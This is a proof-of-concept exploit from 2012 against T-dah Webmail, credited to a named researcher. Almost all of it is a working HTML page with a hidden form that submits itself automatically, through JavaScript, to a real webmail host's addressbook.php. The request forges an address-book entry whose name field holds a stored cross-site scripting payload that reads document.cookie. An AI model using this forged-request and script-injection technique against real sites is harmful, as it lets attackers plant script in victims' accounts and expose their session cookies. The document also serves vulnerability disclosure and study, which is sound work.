T-dah Webmail CSRF & Stored XSS



# -----------------------------------------------------------

#               _____ _ _            _      _ 
#              / ____(_) |          | |    | |
#             | |     _| |_ __ _  __| | ___| |
#             | |    | | __/ _` |/ _` |/ _ \ |
#             | |____| | || (_| | (_| |  __/ |
#              \_____|_|\__\__,_|\__,_|\___|_|
#              
# -----------------------------------------------------------
# T-dah Webmail CSRF & Stored XSS
# Bug discovered by Pr0T3cT10n AKA Yakir Wizman, <yakir.wizman@gmail.com>
# Date 17/08/2012
# Download - http://sourceforge.net/projects/t-dahmail/files/latest/download?utm_expid=6384-3&utm_referrer=http%3A%2F%2Fsourceforge.net%2Fprojects%2Ft-dahmail%2F
# ISRAEL
# -----------------------------------------------------------
#        Author will be not responsible for any damage.
# -----------------------------------------------------------
# PoC EXPLOIT
# -----------------------------------------------------------
<html>
    <head>
        <title>Tdah Webmail - CSRF & XSS Attack</title>
    </head>
<body>
    <form name="csrf" method="post" action="http://mail.tdah.us/addressbook.php"> 
        <input type="hidden" name="lid"  value="English" />
        <input type="hidden" name="tid"  value="default" />
        <input type="hidden" name="id"  value="" />
        <input type="hidden" name="opt"  value="add" />
        <input type="hidden" name="name"  value="<script>alert(document.cookie);</script>" />
        <input type="hidden" name="email"  value="test@test.com" />
        <input type="hidden" name="cell"  value="" />
        <input type="hidden" name="phone"  value="" />
        <input type="hidden" name="street"  value="" />
        <input type="hidden" name="apt"  value="" />
        <input type="hidden" name="city"  value="" />
        <input type="hidden" name="state"  value="" />
        <input type="hidden" name="zip"  value="" />
        <input type="hidden" name="country"  value="" />
        <input type="hidden" name="work"  value="" />
        <input type="hidden" name="wemail"  value="" />
        <input type="hidden" name="wphone"  value="" />
        <input type="hidden" name="wfax"  value="" />
        <input type="hidden" name="wstreet"  value="" />
        <input type="hidden" name="wcity"  value="" />
        <input type="hidden" name="wstate"  value="" />
        <input type="hidden" name="wzip"  value="" />
        <input type="hidden" name="aemail"  value="" />
        <input type="hidden" name="bday"  value="" />
        <input type="hidden" name="anniv"  value="" />
        <input type="hidden" name="aim"  value="" />
        <input type="hidden" name="icq"  value="" />
        <input type="hidden" name="msn"  value="" />
        <input type="hidden" name="yahoo"  value="" />
        <input type="hidden" name="google"  value="" />
        <input type="hidden" name="website"  value="" />
        <input type="hidden" name="picturename"  value="" />
        <input type="hidden" name="picturepath"  value="" />
        <input type="hidden" name="textnotes"  value="" />
    </form>
    <script type="text/javascript">
        document.csrf.submit();
    </script>
</body>
</html>
# -----------------------------------------------------------